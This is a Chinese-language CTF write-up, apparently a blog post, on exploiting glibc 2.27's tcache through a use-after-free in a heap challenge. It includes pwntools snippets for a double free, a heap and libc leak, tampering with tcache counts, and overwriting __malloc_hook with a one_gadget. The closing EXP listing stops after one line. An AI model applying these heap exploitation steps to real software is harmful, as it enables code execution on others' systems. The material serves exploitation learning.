Heap-Tcache2.27_Attack
Tcache
概念
类似常见的fastbin
、unsortedbin
,但是相比他们优先级要高很多
其结构一般都会在堆块的起始位置存在一个结构体,其中包含着tcache bins的各种范围的bins数量,以及一个控制器,可以理解为是tcache的fd指针,控制着下一个堆块的地址
利用手法
tcache的范围在
0x410
以内,大于他后就会放到正常的unsorted中free某个tcache超过7次,也就是将存放在tcache结构体中的该范围bins的数量占满,后续free的堆块就会放到其应该放到的地方
直接修改tcache中的数量标志位(类似
0x0700000000000000
)- 要先确定某范围的bins数量的标志位所在的位置
例题分析
程序分析
保护全开得堆题,常见的增删改查功能
add添加堆块得函数中可以看到,最多只能申请7个堆块,且每个堆块不能大于1024
主要漏洞点在delete函数,free完堆块后未对其进行清空,造成uaf漏洞
但是在初步的uaf exp写完后本地很快就通了,打远程时却发现出了问题,根本通不了。。。后面才意识到是libc版本的问题,远程的是2.27,所以存在tcache机制
利用思路
因此我们就要采用针对tcache得手段来重写exp了
首先我们使用patchelf
工具来修改本地程序的libc加载版本(libc的加载器ld文件可以通过确定libc版本后使用glibc-all-in-one来下载)
1 | ➜ box sudo patchelf --set-interpreter ./ld-2.27.so ./pwn |
之后就是开始利用,先申请两个堆块,用于泄露堆的起始地址,第二个,堆块用于防止与topchunk_合并
1
2add(0,0x80,"A"*8)
add(1,0x80,"B"*8)由于低版本的tcache未作过多安全防护的原因,所以可以直接double free,进而得到堆块的地址
1
2
3
4
5dele(0)
dele(0)
show(0)
sh.recvuntil("it :")
heap_addr = u64(sh.recv(6).ljust(8,"\x00"))-0x260接下来申请的chunk_2堆块则可以落到上面free的chunk_0上面,而由于doublefree的缘故,只要将fd位置修改位某个地址,之后正在申请一次堆块,那么下次申请的堆块就可以落到该地址上。
而这里申请的地址为
heap_addr+0x10
的原因则是因为,这个地址该地址控制着tcache中0x90大小的bins数量,由于tcache的特性,一个范围的堆块超过7个之后,便可以申请到unsorted bins中(当然是大于0x80的堆块)1
2add(2,0x80,p64(heap_addr+0x10))
add(3,0x80,"D"*8)现在将申请chunk_4,就按照上图中的结构来布局tcache中的数据,最后面的
heap_addr + 0x88
是为了下次申请堆块时继续控制该地址从而在下下次申请堆块落到指定地址1
2
3
4payload1 = p64(0x0700000000000000)
payload1 += "\x00"*0x70
payload1 += p64(heap_addr + 0x88)
add(4,0x80,payload1)之后再次free掉的0x80地址便是在unsorted中的地址了,进而带出libc_base\malloc_hook\one_gg的地址来
1
2
3
4
5
6
7
8
9
10
11
12
13dele(0)
show(0)
sh.recvuntil(" :")
main_arena96 = u64(sh.recv(6).ljust(8,"\x00"))
success("heap_addr => 0x%x",heap_addr)
success("main_arena96 => 0x%x",main_arena96)
fake_chunk = main_arena96-96-0x33
malloc_hook = main_arena96-96-0x10
libc_base = malloc_hook - libc.sym["__malloc_hook"]
one_gg = one_ggs[2]+libc_base
success("malloc_hook => 0x%x",malloc_hook)
success("libc_base => 0x%x",libc_base)
success("one_gg = > 0x%x",one_gg)最后就只需要再重复一次上面的操作,将地址申请到
malloc_hook
即可完成利用1
2
3
4
5
6
7
8
9
10
11payload2 = p64(0x0700000000000000)
payload2 += "\x00"*0x70
payload2 += p64(malloc_hook)
edit(4,payload2)
add(5,0x80,"5")
edit(5,p64(one_gg))
sh.sendlineafter(">>","1")
sh.recvuntil("index:\n")
sh.sendline("6")
sh.recvuntil("size:\n")
sh.sendline("2")
EXP
1 | def add(idx,size,data): |